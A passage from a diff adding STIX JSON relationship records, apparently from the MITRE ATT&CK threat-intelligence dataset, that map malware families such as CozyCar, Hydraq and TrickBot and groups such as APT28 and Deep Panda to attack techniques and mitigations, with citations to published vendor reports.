"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.020Z", + "id": "relationship--812b36a3-ed93-4b45-95c3-39a9ac9c36f5", + "source_ref": "course-of-action--fe0aeb41-1a51-4152-8467-628256ea6adf", + "modified": "2019-07-25T11:13:20.723Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) uses systeminfo on a victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8a00aa55-b7b2-4df5-902b-d01bfdf89089", + "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "source_name": "Talos NavRAT May 2018", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can load and call DLL functions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--15455c48-f71c-480d-91b8-e41f12608705", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "source_name": "Symantec Hydraq Jan 2010", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) uses the command-line interface.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--5df81b26-0cbe-4b2e-abce-bb7b98a1064d", + "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "modified": "2019-04-22T23:25:33.640Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[PlugX](https://attack.mitre.org/software/S0013) can be configured to use raw TCP or UDP for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a5fe178f-4d28-484a-8580-4a2313448655", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:15.962Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of gathering system information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--9ee2a9f3-9174-4927-8561-56d5c6723b9e", + "source_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", + "modified": "2019-05-14T19:15:24.371Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "A system info module in [CozyCar](https://attack.mitre.org/software/S0046) gathers information on the victim host\u2019s configuration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--166c430d-0272-4dca-8d30-318cda0a0a63", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "modified": "2019-04-24T23:17:25.150Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "source_name": "F-Secure CozyDuke", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "Password stealer and NTLM stealer modules in [CozyCar](https://attack.mitre.org/software/S0046) harvest stored credentials from the victim, including credentials used as part of Windows NTLM user authentication. [CozyCar](https://attack.mitre.org/software/S0046) has also executed [Mimikatz](https://attack.mitre.org/software/S0002) for further victim penetration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--932fa199-f4c0-4c39-bb30-a412607ee299", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "modified": "2019-04-24T23:17:25.179Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "source_name": "F-Secure CozyDuke", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) collects the users of the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--76d7d7fa-94a4-4fa6-9fd2-e9af9ab0f356", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.690Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "source_name": "S2 Grupo TrickBot June 2017", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + }, + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.037Z", + "id": "relationship--cf467be5-c162-4763-801b-32cb57a514ef", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.543Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can delete files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--9b7bf5d9-23a0-4190-80c0-b27b906bafcc", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.635Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) uses a custom command and control protocol that communicates over commonly used ports. The C2 protocol is encapsulated in common application layer protocols.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8924eb12-0841-48ca-9d36-69de932b1f21", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.505Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has deleted Registry keys during post compromise cleanup activities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--f8ff17c3-2921-40c2-b4a9-19ee7678397a", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.791Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used tools to perform keylogging.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.039Z", + "id": "relationship--2d450e2f-25c9-49af-b83f-6c91029ed28a", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.703Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "source_name": "Microsoft SIR Vol 19", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.022Z", + "id": "relationship--35572bdc-c7a2-442b-8d9a-7691317b6982", + "source_ref": "course-of-action--c95c8b5c-b431-43c9-9557-f494805e2502", + "modified": "2019-09-26T15:56:47.362Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.028Z", + "id": "relationship--ab637576-5bf9-423f-b5e8-6d1ac26bbb5c", + "source_ref": "course-of-action--cdecc44a-1dbf-4c1f-881c-f21e3f47272a", + "modified": "2019-07-25T11:33:35.636Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used PowerShell for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d36e83a0-5370-4d78-862d-4dbe8921709d", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.382Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3", + "description": "[Trojan.Mebromi](https://attack.mitre.org/software/S0001) performs BIOS modification and can download and execute a file as well as protect itself from removal.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d92b5b68-4c3e-436f-a922-997467831409", + "source_ref": "malware--c5e9cb46-aced-466c-85ea-7db5572ad9ec", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ge, L. (2011, September 9). BIOS Threat is Showing up Again!. Retrieved November 14, 2014.", + "source_name": "Ge 2011", + "url": "http://www.symantec.com/connect/blogs/bios-threat-showing-again" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "[T9000](https://attack.mitre.org/software/S0098) searches removable storage devices for files with a pre-defined list of file extensions (e.g. * .doc, *.ppt, *.xls, *.docx, *.pptx, *.xlsx). Any matching files are encrypted and written to a local user directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--11bc3d01-fc44-415c-b5a3-5576f5cb6057", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "source_name": "Palo Alto T9000 Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--632ca9a0-a9f3-4b27-96e1-9fcb8bab11cb", + "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "revoked-by" + }, + { + "type": "relationship", + "target_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3dd745f5-1c0c-4376-8850-89679fcd4e31", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.907Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "source_name": "DOJ APT10 Dec 2018", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can use PowerShell commands to download and execute a payload and open a decoy document on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3ed930d6-ab79-4642-8320-2ed59d899b6d", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-07-25T14:56:46.778Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) uses Web shells on publicly accessible Web servers to access victim networks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.043Z", + "id": "relationship--44f230bb-b59a-4f30-8203-5e5ffd9796f5", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "modified": "2019-03-22T20:09:34.775Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CrowdStrike Deep Panda Web Shells", + "description": "RYANJ. (2014, February 20). Mo\u2019 Shells Mo\u2019 Problems \u2013 Deep Panda Web Shells. Retrieved September 16, 2015.", + "url": "http://www.crowdstrike.com/blog/mo-shells-mo-problems-deep-panda-web-shells/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to retrieve information about groups.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--975739e9-bb45-49d6-a67f-bc770845b4bf", + "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "modified": "2019-04-22T23:25:33.656Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information on available printers and disk drives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--33e0178f-c9b2-43db-9e63-3e664ae6bef0", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.704Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) includes a component based on the code of VNC that can stream a live feed of the desktop of an infected host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--a883e4c6-6a40-4660-9120-b2430099ccb6", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "source_name": "Symantec Hydraq Jan 2010", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Daserf](https://attack.mitre.org/software/S0187) can log keystrokes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d2bc1c1b-987b-4a1a-b488-8199f8113697", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "source_name": "Trend Micro Daserf Nov 2017", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + }, + { + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a38d4ac5-1d3d-4a2f-9493-ff3e2a4669b8", + "source_ref": "course-of-action--cfc2d2fc-14ff-495f-bd99-585be47b804f", + "modified": "2019-07-24T14:32:52.386Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) allows adversaries to enumerate and modify the infected host's file system. It supports searching for directories, creating directories, listing directory contents, reading and writing to files, retrieving file attributes, and retrieving volume information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5bb94c21-96c6-4c71-ae46-b222a69a493a", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Flame](https://attack.mitre.org/software/S0143) can take regular screenshots when certain applications are open that are sent to the command and control server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7ba62129-a4ba-42b4-9971-4a650682cb52", + "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "modified": "2019-06-06T14:35:54.015Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Flame", + "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.", + "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can download files onto compromised hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--5c08eb3a-d7a0-4ce0-97a2-496ea4c9f3ed", + "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", + "source_name": "Symantec Linfo May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99" + } + ], + "relationship_type": "uses" + }, + { + "type": 